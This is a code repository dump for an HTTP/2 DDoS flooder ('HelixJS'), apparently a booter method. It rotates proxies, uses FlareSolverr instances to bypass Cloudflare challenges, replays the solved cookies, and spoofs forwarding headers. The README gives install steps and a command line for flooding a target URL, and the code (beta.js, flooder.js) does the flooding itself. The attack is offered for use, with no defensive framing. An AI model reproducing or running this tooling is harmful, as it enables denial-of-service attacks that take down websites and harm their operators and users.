├── README.md ├── beta.js ├── browser ├── app.js ├── browserEngine.js ├── flooder.js └── x.js ├── install.sh ├── solvers.zip └── start_solvers.py /README.md: -------------------------------------------------------------------------------- 1 | ## HTTP Browser method using FlareSolverr 2 | 3 | ### Installation 4 | 5 | Before you can use the script, you'll need to install Node.js on your system 6 | 7 | ```shell 8 | sh install.sh 9 | unzip solvers.zip 10 | install the other depedencies as the script asks with 'npm i name' 11 | cd solvers/flaresolver01; export PUPPETEER_PRODUCT=firefox; npm install 12 | cd ../; cd flaresolver02; export PUPPETEER_PRODUCT=firefox; npm install 13 | cd ../; cd flaresolver03; export PUPPETEER_PRODUCT=firefox; npm install 14 | cd ../; cd flaresolver04; export PUPPETEER_PRODUCT=firefox; npm install 15 | cd ../; cd flaresolver05; export PUPPETEER_PRODUCT=firefox; npm install 16 | cd ../; cd flaresolver06; export PUPPETEER_PRODUCT=firefox; npm install 17 | cd ../; cd flaresolver07; export PUPPETEER_PRODUCT=firefox; npm install 18 | cd ../; cd flaresolver08; export PUPPETEER_PRODUCT=firefox; npm install 19 | cd ../; cd flaresolver09; export PUPPETEER_PRODUCT=firefox; npm install 20 | cd ../; cd flaresolver10; export PUPPETEER_PRODUCT=firefox; npm install 21 | python start_solvers.py 22 | ``` 23 | 24 | ### Usage 25 | 26 | ```shell 27 | node beta.js "https://website.com" 600 64 GET --mode browser --geo all --conn 32 28 | ``` 29 | 30 | Method hacked from Booter.sx, released by StresserUS - method updated and upgraded to HTTP/2 by forky and Ch2K1t 31 | 32 | Hacked by T13R and forky 33 | -------------------------------------------------------------------------------- /beta.js: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | ** @ImComplex ** 4 | 5 | */ 6 | 7 | require("events").EventEmitter.defaultMaxListeners = Number.MAX_VALUE; 8 | (ignoreNames = [ 9 | "RequestError", 10 | "StatusCodeError", 11 | "CaptchaError", 12 | "CloudflareError", 13 | "ParseError", 14 | "ParserError", 15 | ]), 16 | (ignoreCodes = [ 17 | "ECONNRESET", 18 | "ERR_ASSERTION", 19 | "ECONNREFUSED", 20 | "EPIPE", 21 | "EHOSTUNREACH", 22 | "ETIMEDOUT", 23 | "ESOCKETTIMEDOUT", 24 | "EPROTO", 25 | ]); 26 | 27 | process 28 | .on("uncaughtException", function (e) { 29 | if ( 30 | (e.code && ignoreCodes.includes(e.code)) || 31 | (e.name && ignoreNames.includes(e.name)) 32 | ) 33 | return false; 34 | console.warn(e); 35 | }) 36 | .on("unhandledRejection", function (e) { 37 | if ( 38 | (e.code && ignoreCodes.includes(e.code)) || 39 | (e.name && ignoreNames.includes(e.name)) 40 | ) 41 | return false; 42 | console.warn(e); 43 | }) 44 | .on("warning", (e) => { 45 | if ( 46 | (e.code && ignoreCodes.includes(e.code)) || 47 | (e.name && ignoreNames.includes(e.name)) 48 | ) 49 | return false; 50 | console.warn(e); 51 | }) 52 | .on("SIGHUP", () => { 53 | return 1; 54 | }) 55 | .on("SIGCHILD", () => { 56 | return 1; 57 | }); 58 | 59 | const request = require("request"); 60 | const { exec } = require("child_process"); 61 | const colors = require("colors"); 62 | const url = require("url"); 63 | const syncRequest = require("sync-request"); 64 | var CustomsARGVS = require("minimist")(process.argv.slice(2)); 65 | const fs = require("fs"); 66 | let target = process.argv[2].split('""')[0]; 67 | const time = process.argv[3]; 68 | var parsed = url.parse(target); 69 | var host = url.parse(target).host; 70 | 71 | let length_browsers = 70; 72 | let browser_saves = ""; 73 | let user_agent = ""; 74 | let ModeATTACK = CustomsARGVS.mode; 75 | let PostaMOD = undefined; 76 | let rff = undefined; 77 | let cookie_CTM = undefined; 78 | let connections = CustomsARGVS.conn; 79 | let ListIDS = []; 80 | let Idbrw = 0; 81 | let idsRunned = []; 82 | if(CustomsARGVS.postdata){ 83 | if(CustomsARGVS.postdata.includes("~")){ 84 | CustomsARGVS.postdata = CustomsARGVS.postdata.replace(/~/g, "&"); 85 | } 86 | if(CustomsARGVS.postdata.includes("*")){ 87 | CustomsARGVS.postdata = CustomsARGVS.postdata.replace(/\*/g, "%"); 88 | } 89 | } 90 | if(CustomsARGVS.customCookie){ 91 | if(CustomsARGVS.customCookie.includes("~")){ 92 | CustomsARGVS.customCookie = CustomsARGVS.customCookie.replace(/~/g, ";"); 93 | } 94 | } 95 | if(target.includes("*")){ 96 | target = target.replace(/\*/g, "%"); 97 | } 98 | 99 | let typeAlert = 2; 100 | let PROMOTION = "Booter.sx got fucking rekt"; 101 | 102 | //proxy selection 103 | var PROXYURL = `http://yourproxies/premium1.txt`; 104 | var VarsDefinetions = { 105 | Objetive: target, 106 | VersionsHTTP: ["HTTP/1.1", "HTTP/1.2", "HTTP/1.3"], 107 | req_ip: process.argv[4] || 32, 108 | Method_raw: process.argv[5] || "GET", 109 | time: process.argv[3], 110 | }; 111 | 112 | function add_uss(user) { 113 | // if (user_agent.includes("Mozilla/5.0") == false) { 114 | user_agent = user; 115 | // } else { 116 | // } 117 | } 118 | 119 | function log(string) { 120 | let d = new Date(); 121 | 122 | let hours = (d.getHours() < 10 ? "0" : "") + d.getHours(); 123 | let minutes = (d.getMinutes() < 10 ? "0" : "") + d.getMinutes(); 124 | let seconds = (d.getSeconds() < 10 ? "0" : "") + d.getSeconds(); 125 | 126 | console.log(`[${hours}:${minutes}:${seconds}] ${string}`); 127 | } 128 | 129 | log(`HelixJS (v2)` + `[ ${PROMOTION} ]`.cyan); 130 | log(`Loading proxies..`.yellow); 131 | 132 | try { 133 | if (PROXYURL.indexOf("//") & PROXYURL.indexOf(".")) { 134 | var res = syncRequest("GET", PROXYURL, { 135 | headers: { 136 | "user-agent": 137 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0", 138 | }, 139 | }); 140 | 141 | ProxyFILE = res.getBody("utf8").replace(/\r/g, "").split("\n"); 142 | } 143 | } catch (error) { 144 | ProxyFILE = fs.readFileSync("proxy.txt").toString().match(/\S+/g); 145 | } 146 | const proxies_total = ProxyFILE.length - 2; 147 | //const ProxyFILE = set.match(/(\d{1,3}\.){3}\d{1,3}\:\d{1,5}/g); 148 | log(`${proxies_total + 2} proxies loaded`.green); 149 | 150 | function ProxyGenerate() { 151 | return (proxy_obje = ProxyFILE[~~[Math.random() * proxies_total]]); 152 | } 153 | 154 | function brow_tokens(strings, proxy_co, ua_received) { 155 | if ( 156 | browser_saves == null && 157 | browser_saves == undefined && 158 | browser_saves == "" 159 | ) { 160 | browser_saves += 161 | "" + proxy_co + "#" + strings + "#" + ua_received + "" + ":::"; 162 | } else { 163 | browser_saves += 164 | "" + proxy_co + "#" + strings + "#" + ua_received + "" + ":::"; 165 | } 166 | } 167 | 168 | var launch_browser = async function launch_browser(Extra = {}) { 169 | Idbrw++; 170 | let RunSessions = require("./browser/browserEngine.js"); 171 | let IdBrowser = Extra.IdBrowser; 172 | const Proxy = Extra.Proxy; 173 | const intentNum = Extra.intentNum; 174 | const ProxyReopen = ProxyGenerate(); 175 | 176 | const resposense = await RunSessions.RunSessions({ 177 | IdBrowser: IdBrowser, 178 | Proxy: Proxy, 179 | Domain: VarsDefinetions.Objetive, 180 | }); 181 | 182 | if (resposense == undefined) { 183 | log("[error] [" + IdBrowser + "]" + ` Unable to Bypass with ip: ${Proxy}`.red); 184 | // launch_browser({ 185 | // IdBrowser: IdBrowser, 186 | // Proxy: ProxyReopen, 187 | // intentNum: intentNum + 1, 188 | // }); 189 | ListIDS.push(IdBrowser); 190 | return; 191 | } else if (resposense == "bad") { 192 | log("[error] [" + IdBrowser + "]" + ` Unable to Bypass with ip: ${Proxy}`.red); 193 | // launch_browser({ 194 | // IdBrowser: IdBrowser, 195 | // Proxy: ProxyReopen, 196 | // intentNum: intentNum + 1, 197 | // }); 198 | ListIDS.push(IdBrowser); 199 | return; 200 | } else { 201 | if (typeAlert == 1) { 202 | log(`Browsers received (${browser_saves.split("#").length})`); 203 | } else if (typeAlert == 2) { 204 | log( 205 | `[info]` + ` Firewall bypassed with ip: ${Proxy} | Cookies: ${resposense[IdBrowser].split(":::")[0]}`.cyan ); 206 | } else { 207 | log("Invalid alert type."); 208 | return process.exit(); 209 | } 210 | 211 | await setFlooder(Proxy,resposense[IdBrowser].split(":::")[0],resposense[IdBrowser].split(":::")[1]) 212 | // brow_tokens( 213 | // //revisar 214 | // resposense[IdBrowser].split(":::")[0], 215 | // Proxy, 216 | // resposense[IdBrowser].split(":::")[1] 217 | // ); 218 | 219 | ListIDS.push(IdBrowser); 220 | //agrega el id al array 221 | } 222 | }; 223 | 224 | if (ModeATTACK == "browser") { 225 | log(`Mode: `.yellow+`${ModeATTACK.toUpperCase()}`); 226 | log(`Total browsers to open: `.yellow + `${length_browsers}`); 227 | log(`method: `.yellow+`${VarsDefinetions.Method_raw}`); 228 | log(`postdata: `.yellow+`${CustomsARGVS.postdata || 'false'}`); 229 | log(`cookie: `.yellow+`${CustomsARGVS.customCookie || 'false'}`); 230 | log(`referer: `.yellow+`${CustomsARGVS.referer || 'false'}`); 231 | log(`Launching browsers on: `.yellow+`${target}`); 232 | let NumOPenBrowser = 10; 233 | var myInterval = setInterval(function () { 234 | //idsRunned: lista de ids ya lanzados 235 | if (ListIDS.length >= length_browsers) { 236 | //KillBrowsers(); 237 | clearInterval(myInterval); 238 | log(`[success]`+` Attcak proccess finished, idle set.`); 239 | } else if (ListIDS.length == idsRunned.length) { 240 | for (let j = 0; j < NumOPenBrowser; j++) { 241 | const Proxy = ProxyGenerate(); 242 | idsRunned.push(Idbrw); 243 | launch_browser({ IdBrowser: Idbrw, Proxy: Proxy, intentNum: 0 }); 244 | } 245 | 246 | log(`[info] Starting interval`); 247 | } else if ( 248 | ListIDS.length == length_browsers && ListIDS.length < (50 / 100) * length_browsers) { 249 | log(`[success] Cookies recolected!`); 250 | } 251 | }, 0); 252 | } else if (ModeATTACK == "tls") { 253 | log(`[info] Mode: ${ModeATTACK}`); 254 | log(`Target: ${target}`); 255 | require("./browser/flooder").TLSHTTP( 256 | (option = { 257 | target: VarsDefinetions.Objetive, 258 | host: host, 259 | RequestIP: VarsDefinetions.req_ip, 260 | proxies: ProxyFILE, 261 | }) 262 | ); 263 | log(`[info] Flooder started`); 264 | } else { 265 | console.clear(); 266 | log('Invalid mode selected, try "browser or tls"'); 267 | process.exit(); 268 | } 269 | 270 | function setFlooder(ip,cookie,ua) { 271 | //clearInterval(myInterval); 272 | 273 | if(CustomsARGVS.postdata){ 274 | PostaMOD = encodeURI(CustomsARGVS.postdata); 275 | } 276 | 277 | try { 278 | if ( 279 | (CustomsARGVS.referer.includes("//") == true) & 280 | (CustomsARGVS.referer.includes(".") == true) && 281 | CustomsARGVS.referer.includes("//") == true 282 | ) { 283 | rff = CustomsARGVS.referer; 284 | } 285 | } catch (error) { 286 | rff = target; 287 | } 288 | 289 | try { 290 | if ( 291 | (CustomsARGVS.customCookie.includes("=") == true) 292 | ) { 293 | cookie_CTM = ";" + CustomsARGVS.customCookie; 294 | } 295 | } catch (error) { 296 | cookie_CTM = ""; //null 297 | } 298 | 299 | require("./browser/flooder.js").flooderTLS( 300 | (option = { 301 | //DATABROWSER: browser_saves, 302 | ip: ip, 303 | cookie: cookie, 304 | ua: ua, 305 | host: host, 306 | rff: rff, 307 | target: VarsDefinetions.Objetive, 308 | RequestIP: VarsDefinetions.req_ip, 309 | userAgent: user_agent, 310 | addcookie: cookie_CTM, 311 | TimeATTACK: VarsDefinetions.time, 312 | METHOD: VarsDefinetions.Method_raw, 313 | PostData: PostaMOD || undefined, 314 | connections: connections || 32, 315 | }) 316 | ); 317 | 318 | //log(`[info] Flooder started with ${(browser_saves.split("#").length - 1) / 2} tokens`.yellow); 319 | log(`[info]`+` Flooder started with ${ip}`.yellow); 320 | } 321 | 322 | setTimeout(() => { 323 | console.clear(); 324 | log(`Attacks Finished.`); 325 | process.exit(1); 326 | }, VarsDefinetions.time * 1000); 327 | -------------------------------------------------------------------------------- /browser/app.js: -------------------------------------------------------------------------------- 1 | module.exports = { x: require('./x').Defaults } -------------------------------------------------------------------------------- /browser/browserEngine.js: -------------------------------------------------------------------------------- 1 | const rp = require('request-promise'); 2 | 3 | let BuildPayload = function (config={}) 4 | { 5 | let Proxy = config.Proxy; 6 | let Domain = config.Domain; 7 | 8 | const proxies = ["http://localhost:8190/v1", "http://localhost:8191/v1", "http://localhost:8192/v1", "http://localhost:8193/v1", "http://localhost:8194/v1", "http://localhost:8195/v1", "http://localhost:8196/v1", "http://localhost:8197/v1", "http://localhost:8198/v1", "http://localhost:8199/v1"]; 9 | let Payload = 10 | { 11 | method: "POST", 12 | url: proxies[Math.floor(Math.random() * proxies.length)], 13 | headers: { "Content-Type": "application/json" }, 14 | body: JSON.stringify({ 15 | cmd: "request.get", 16 | url: ""+Domain+"", 17 | proxy: {"url": `http://${Proxy}`}, 18 | maxTimeout: 120000, 19 | }), 20 | } 21 | 22 | return Payload 23 | } 24 | 25 | var RunCURL = async function (option={}) 26 | { 27 | let IdBrowser = option.IdBrowser; 28 | let proxy = option.Proxy; 29 | let Domain = option.Domain 30 | let x = {}; 31 | 32 | return rp(BuildPayload(config={Proxy:proxy,Domain:Domain})).then(async parsedBody => 33 | { 34 | var ParseJson = JSON.parse(parsedBody); 35 | 36 | if (ParseJson.status == "ok") 37 | { 38 | if (ParseJson.solution.cookies === undefined) 39 | { 40 | return false; 41 | } 42 | 43 | if (ParseJson.solution.cookies !== undefined) 44 | { 45 | 46 | const cookiesObject = ParseJson.solution.cookies; 47 | const UserObj = ParseJson.solution.userAgent; 48 | let StringCookie = ""; 49 | 50 | let JsonSy = JSON.stringify(cookiesObject); 51 | JsonSy = JSON.parse(JsonSy); 52 | 53 | JsonSy.forEach((value) => 54 | { 55 | const valueString = value.name + "=" + value.value + ";"; 56 | StringCookie += valueString; 57 | }); 58 | x[IdBrowser] = ""+StringCookie+":::"+UserObj 59 | 60 | return x 61 | } 62 | } 63 | else 64 | { 65 | return 'bad'; 66 | } 67 | }).catch(function (error) 68 | { 69 | delete error 70 | return undefined 71 | }); 72 | } 73 | 74 | module.exports = { RunSessions: RunCURL } -------------------------------------------------------------------------------- /browser/flooder.js: -------------------------------------------------------------------------------- 1 | var http = require("http"); 2 | var tls = require("tls"); 3 | const http2 = require('http2'); 4 | 5 | tls["DEFAULT_MIN_VERSION"] = "TLSv1.3"; 6 | 7 | let Tls_connecT = "options2.TLS_AES_128_GCM_SHA256:options2.TLS_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA256:options2.TLS_RSA_WITH_AES_128_GCM_SHA256:options2.TLS_RSA_WITH_AES_256_CBC_SHA"; 8 | 9 | function between(min, max) { 10 | return Math.floor(Math.random() * (max - min) + min); 11 | } 12 | 13 | function rnd_string(length, type) 14 | { 15 | var _ = ""; 16 | var characters = ""; 17 | if (type == "LN") 18 | { 19 | characters ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 20 | } 21 | else if (type == "L") 22 | { 23 | characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; 24 | } 25 | else if (type == "N") 26 | { 27 | characters = "0123456789"; 28 | } 29 | else 30 | { 31 | characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 32 | } 33 | 34 | var charactersLength = characters.length; 35 | 36 | for (var i = 0; i < length; i++) 37 | { 38 | _ += characters.charAt(Math.floor(Math.random() * charactersLength)); 39 | } 40 | 41 | return _; 42 | } 43 | 44 | function parseRandTarget(target) 45 | { 46 | if (target.includes("%RAND%")) 47 | { 48 | target = target.replace(/%RAND%/g, rnd_string(8, "LN")); 49 | } 50 | else if (target.includes("%RANDLN8%")) 51 | { 52 | target = target.replace(/%RANDLN8%/g, rnd_string(8, "LN")); 53 | } 54 | else if (target.includes("%RANDLN16%")) 55 | { 56 | target = target.replace(/%RANDLN16%/g, rnd_string(16, "LN")); 57 | } 58 | else if (target.includes("%RANDLN32%")) 59 | { 60 | target = target.replace(/%RANDLN32%/g, rnd_string(32, "LN")); 61 | } 62 | else if (target.includes("%RANDLN64%")) 63 | { 64 | target = target.replace(/%RANDLN64%/g, rnd_string(64, "LN")); 65 | } 66 | else if (target.includes("%RANDL%")) 67 | { 68 | target = target.replace(/%RANDL%/g, rnd_string(8, "L")); 69 | } 70 | else if (target.includes("%RANDL16%")) 71 | { 72 | target = target.replace(/%RANDL16%/g, rnd_string(16, "L")); 73 | } 74 | else if (target.includes("%RANDL32%")) 75 | { 76 | target = target.replace(/%RANDL32%/g, rnd_string(32, "L")); 77 | } 78 | else if (target.includes("%RANDL64%")) 79 | { 80 | target = target.replace(/%RANDL64%/g, rnd_string(64, "L")); 81 | } 82 | else if (target.includes("%RANDN%")) 83 | { 84 | target = target.replace(/%RANDN%/g, rnd_string(8, "N")); 85 | } 86 | else if (target.includes("%RANDN16%")) 87 | { 88 | target = target.replace(/%RANDN16%/g, rnd_string(16, "N")); 89 | } 90 | else if (target.includes("%RANDN32%")) 91 | { 92 | target = target.replace(/%RANDN32%/g, rnd_string(32, "N")); 93 | } 94 | else if (target.includes("%RANDN64%")) 95 | { 96 | target = target.replace(/%RANDN64%/g, rnd_string(64, "N")); 97 | } 98 | else 99 | { 100 | target = target; 101 | } 102 | return target; 103 | } 104 | 105 | var flooderTLS = function (option = {}) 106 | { 107 | let proxy = option.ip; 108 | let cookies = option.cookie; 109 | let ua = option.ua; 110 | let host = option.host; 111 | let addcookie = option.addcookie; 112 | let target = option.target; 113 | let rff = option.rff; 114 | let Method = option.METHOD; 115 | let RequestIP = option.RequestIP; 116 | let TimeATTACK = option.TimeATTACK; 117 | let connections = option.connections; 118 | 119 | if (Method == "GET") { 120 | setInterval(function () { 121 | try { 122 | 123 | var req = http.request({ 124 | host: proxy.split(":")[0], 125 | headers: { 126 | "User-Agent": ua, 127 | Cookie: cookies || "Booter.sx", 128 | }, 129 | rejectUnauthorized: false, 130 | port: proxy.split(":")[1], 131 | method: "CONNECT", 132 | path: host, 133 | }); 134 | 135 | req 136 | .on("connect", function (res, socket, head) { 137 | 138 | const session = http2.connect(`https://${host}`,{ 139 | createConnection : () => tls.connect( 140 | { 141 | host: host, 142 | secureOptions: "SSL_OP_ALL", 143 | requestCert: true, 144 | servername: host, 145 | secure: true, 146 | rejectUnauthorized: false, 147 | sessionTimeout: 10000, 148 | socket: socket, 149 | minVersion:'TLSv1.3', 150 | maxVersion:'TLSv1.3', 151 | ALPNProtocols:['h2'] 152 | }, 153 | function () { 154 | 155 | for (let j = 0; j < connections; j++) { 156 | let targetR = parseRandTarget(target); 157 | let targetRE = 158 | `${new URL(targetR).pathname}` + 159 | `${new URL(targetR).search}`; 160 | const thiss = session.request({ 161 | ":path":targetRE, 162 | ":method":"GET", 163 | "User-Agent": ua, 164 | "Referer":rff, 165 | "Origin":targetR, 166 | "Accept": "*/*", 167 | "Accept-Encoding": "gzip, deflate, br", 168 | "Accept-Language": "en-US,en;q=0.9", 169 | "Cache-Control": "max-age=0", 170 | "Cookie":`${cookies}${addcookie}`, 171 | "x-forwarded-for":proxy.split(":")[0], 172 | "x-remote-ip":proxy.split(":")[0], 173 | "x-real-ip":proxy.split(":")[0], 174 | }) 175 | thiss.end(); 176 | setTimeout(() => { 177 | thiss.close(); 178 | thiss.destroy(); 179 | return delete session; 180 | },5000); 181 | } 182 | } 183 | ) 184 | }) 185 | 186 | }) 187 | .end(); 188 | } catch (err) { 189 | console.log("[FAILED] - WHOPSSS!"); 190 | return process.exit(); 191 | } 192 | }, RequestIP); 193 | 194 | setTimeout(() => { 195 | console.clear(); 196 | console.log(`Process "${process.pid}" Is end.`); 197 | process.exit(1); 198 | }, TimeATTACK * 1000); 199 | } else if (Method == "POST") { 200 | let PostData = option.PostData; 201 | setInterval(function () { 202 | try { 203 | var req = http.request({ 204 | host: proxy.split(":")[0], 205 | headers: { 206 | "User-Agent": ua, 207 | Cookie: cookies || "Booter.sx", 208 | }, 209 | rejectUnauthorized: false, 210 | port: proxy.split(":")[1], 211 | method: "CONNECT", 212 | path: host + ":443", 213 | }); 214 | 215 | req 216 | .on("connect", function (res, socket, head) { 217 | const session = http2.connect(`https://${host}`,{ 218 | createConnection : () => tls.connect( 219 | { 220 | host: host, 221 | secureOptions: "SSL_OP_ALL", 222 | requestCert: true, 223 | servername: host, 224 | secure: true, 225 | rejectUnauthorized: false, 226 | sessionTimeout: 10000, 227 | socket: socket, 228 | minVersion:'TLSv1.3', 229 | maxVersion:'TLSv1.3', 230 | ALPNProtocols:['h2'] 231 | }, 232 | function () { 233 | 234 | for (let j = 0; j < connections; j++) { 235 | let targetR = parseRandTarget(target); 236 | let pdata; 237 | if (PostData) { 238 | if(PostData.split('&').length > 1){ 239 | pdata = parseRandTarget(decodeURI(PostData)); 240 | pdata = parseRandTarget(pdata); 241 | }else{ 242 | pdata = parseRandTarget(decodeURI(PostData)); 243 | } 244 | } else { 245 | pdata = "/"; 246 | } 247 | let cType = 'application/json'; 248 | try { 249 | const parser = JSON.parse(pdata); 250 | } catch (e) { 251 | cType = 'application/x-www-form-urlencoded'; 252 | } 253 | let pdata_len = Buffer.byteLength(pdata, "utf8"); 254 | let targetRE = 255 | `${new URL(targetR).pathname}` + 256 | `${new URL(targetR).search}`; 257 | 258 | const thisrequest = session.request({ 259 | ":path":targetRE, 260 | ":method":"POST", 261 | "User-Agent": ua, 262 | "Referer":rff, 263 | "Origin":targetR, 264 | "Accept": "*/*", 265 | "Accept-Encoding": "gzip, deflate, br", 266 | "Accept-Language": "en-US,en;q=0.9", 267 | "Cache-Control": "max-age=0", 268 | "Cookie":`${cookies}${addcookie}`, 269 | "x-forwarded-for":proxy.split(":")[0], 270 | "x-remote-ip":proxy.split(":")[0], 271 | "x-real-ip":proxy.split(":")[0], 272 | "Content-Type":cType, 273 | "Content-Length": `${pdata_len}` 274 | }) 275 | 276 | thisrequest.setEncoding('utf8'); 277 | thisrequest.write(pdata); 278 | thisrequest.end(); 279 | 280 | 281 | setTimeout(() => { 282 | thisrequest.close(); 283 | thisrequest.destroy(); 284 | return delete session; 285 | },5000); 286 | } 287 | } 288 | ) 289 | }) 290 | }) 291 | .end(); 292 | } catch (err) { 293 | console.log("[error] - WHOOPSSS!"); 294 | return process.exit(); 295 | } 296 | }, RequestIP); 297 | 298 | setTimeout(() => { 299 | console.clear(); 300 | console.log(`[info] Process "${process.pid}" Is end.`); 301 | process.exit(1); 302 | }, TimeATTACK * 1000); 303 | } 304 | else { 305 | return "Invalide method"; 306 | } 307 | }; 308 | 309 | module.exports = { flooderTLS: flooderTLS }; 310 | -------------------------------------------------------------------------------- /browser/x.js: -------------------------------------------------------------------------------- 1 | function STRINGRAND(length) 2 | { 3 | var _ = ''; 4 | var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; 5 | var charactersLength = characters.length; 6 | for ( var i = 0; i < length; i++ ) 7 | { 8 | _ += characters.charAt(Math.floor(Math.random() * charactersLength)); 9 | } 10 | return _; 11 | } 12 | 13 | function NUMERAND(length) 14 | { 15 | var _ = ''; 16 | var characters = '0123456789'; 17 | var charactersLength = characters.length; 18 | for ( var i = 0; i < length; i++ ) 19 | { 20 | _ += characters.charAt(Math.floor(Math.random() * charactersLength)); 21 | } 22 | return _; 23 | } 24 | 25 | function LETTERSRAND(length) 26 | { 27 | var _ = ''; 28 | var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; 29 | var charactersLength = characters.length; 30 | for ( var i = 0; i < length; i++ ) 31 | { 32 | _ += characters.charAt(Math.floor(Math.random() * charactersLength)); 33 | } 34 | return _; 35 | } 36 | 37 | var Defaults = async function Defaults(option={}) 38 | { 39 | if (option.mode == 'detect') 40 | { 41 | if (option.Method_raw == 'GET') 42 | { 43 | return 'GET'; 44 | } 45 | else if(option.Method_raw == 'POST') 46 | { 47 | return 'POST'; 48 | } 49 | else 50 | { 51 | return 'Method no valid!'; 52 | } 53 | } 54 | else if(option.mode == 'ReplaceRAND') 55 | { 56 | let target = option.target; 57 | if (target.indexOf("%RAND50%") !== -1) 58 | { 59 | return target.replace(/%RAND50%/g, STRINGRAND(50)); 60 | } 61 | else if (target.indexOf("%RAND9%") !== -1) 62 | { 63 | return target.replace(/%RAND9%/g,STRINGRAND(9)); 64 | } 65 | else if (target.indexOf("%RANDN9%") !== -1) 66 | { 67 | return target.replace(/%RANDN9%/g, NUMERAND(9)); 68 | } 69 | else 70 | { 71 | return tar_data = ''+target; 72 | } 73 | } 74 | else if (option.mode == 'TlsHTTP') 75 | { 76 | let potss = option.DATAPOST; 77 | return 'options2.TLS_AES_128_GCM_SHA256:options2.TLS_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:options2.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:options2.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:options2.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA:options2.TLS_RSA_WITH_AES_128_CBC_SHA256:options2.TLS_RSA_WITH_AES_128_GCM_SHA256:options2.TLS_RSA_WITH_AES_256_CBC_SHA'; 78 | } 79 | else if (option.mode == 'BuildPOST') 80 | { 81 | let obj_postdata = option.DATAPOST; 82 | try 83 | { 84 | if (obj_postdata.includes('=') == true) 85 | { 86 | return obj_postdata.split('""')[0]; 87 | } 88 | else 89 | { 90 | return 91 | } 92 | } 93 | catch(error) 94 | { 95 | return 96 | } 97 | } 98 | } 99 | 100 | module.exports = { Defaults: Defaults } -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | # chmod 0777 * -R 5 | # ./cc.sh 6 | red=$(tput setaf 1); 7 | white=$(tput setaf 7); 8 | gren=$(tput setaf 2); 9 | 10 | sudo apt -y install curl dirmngr apt-transport-https lsb-release ca-certificates;curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash -;sudo apt -y install nodejs;sudo apt -y install gcc g++ make;sudo apt -y install htop vnstat;sudo apt-get install -y unzip;sudo apt -y install screen;sudo apt -y install unrar;npm i await-timeout;npm i console-log-level;npm i events; npm i request;npm i chalk; npm i hpagent; npm i got; npm i crypto; npm i cheerio; npm i url; npm i axios; npm i https; npm i request-curl;npm i user-agents; npm i uuid; npm i tmp-promise; npm i puppeteer-extra;npm i puppeteer-extra-plugin-stealth;npm i sleep-promise; npm i puppeteer-extra-plugin-adblocker; echo "\n${gren}Installation Modules Required Done, Preparing the Next Stage..\n${white}"; sleep 6; npm install puppeteer; sudo apt install -y gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libgtk-3-0 libnspr4 libpango-1.0-0 libpangocairo-1.0-0 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils wget; sudo apt-get install -y libgbm-dev;echo -e "\n${red}Reboot Server Required..\n${white}"; sleep 6; reboot -------------------------------------------------------------------------------- /solvers.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/forkyyy/http-browser/e2a7668ba34fcadd1608115069270e5ace36d063/solvers.zip -------------------------------------------------------------------------------- /start_solvers.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | #again py because we hate fucking bash :sunglasses: 4 | 5 | os.system('tmux new -d -s Solver01') 6 | os.system('tmux new -d -s Solver02') 7 | os.system('tmux new -d -s Solver03') 8 | os.system('tmux new -d -s Solver04') 9 | os.system('tmux new -d -s Solver05') 10 | os.system('tmux new -d -s Solver06') 11 | os.system('tmux new -d -s Solver07') 12 | os.system('tmux new -d -s Solver08') 13 | os.system('tmux new -d -s Solver09') 14 | os.system('tmux new -d -s Solver10') 15 | 16 | os.system('tmux send-keys -t Solver01.0 "node solvers/flaresolver01/dist/server.js" ENTER') 17 | os.system('tmux send-keys -t Solver02.0 "node solvers/flaresolver02/dist/server.js" ENTER') 18 | os.system('tmux send-keys -t Solver03.0 "node solvers/flaresolver03/dist/server.js" ENTER') 19 | os.system('tmux send-keys -t Solver04.0 "node solvers/flaresolver04/dist/server.js" ENTER') 20 | os.system('tmux send-keys -t Solver05.0 "node solvers/flaresolver05/dist/server.js" ENTER') 21 | os.system('tmux send-keys -t Solver06.0 "node solvers/flaresolver06/dist/server.js" ENTER') 22 | os.system('tmux send-keys -t Solver07.0 "node solvers/flaresolver07/dist/server.js" ENTER') 23 | os.system('tmux send-keys -t Solver08.0 "node solvers/flaresolver08/dist/server.js" ENTER') 24 | os.system('tmux send-keys -t Solver09.0 "node solvers/flaresolver09/dist/server.js" ENTER') 25 | os.system('tmux send-keys -t Solver10.0 "node solvers/flaresolver10/dist/server.js" 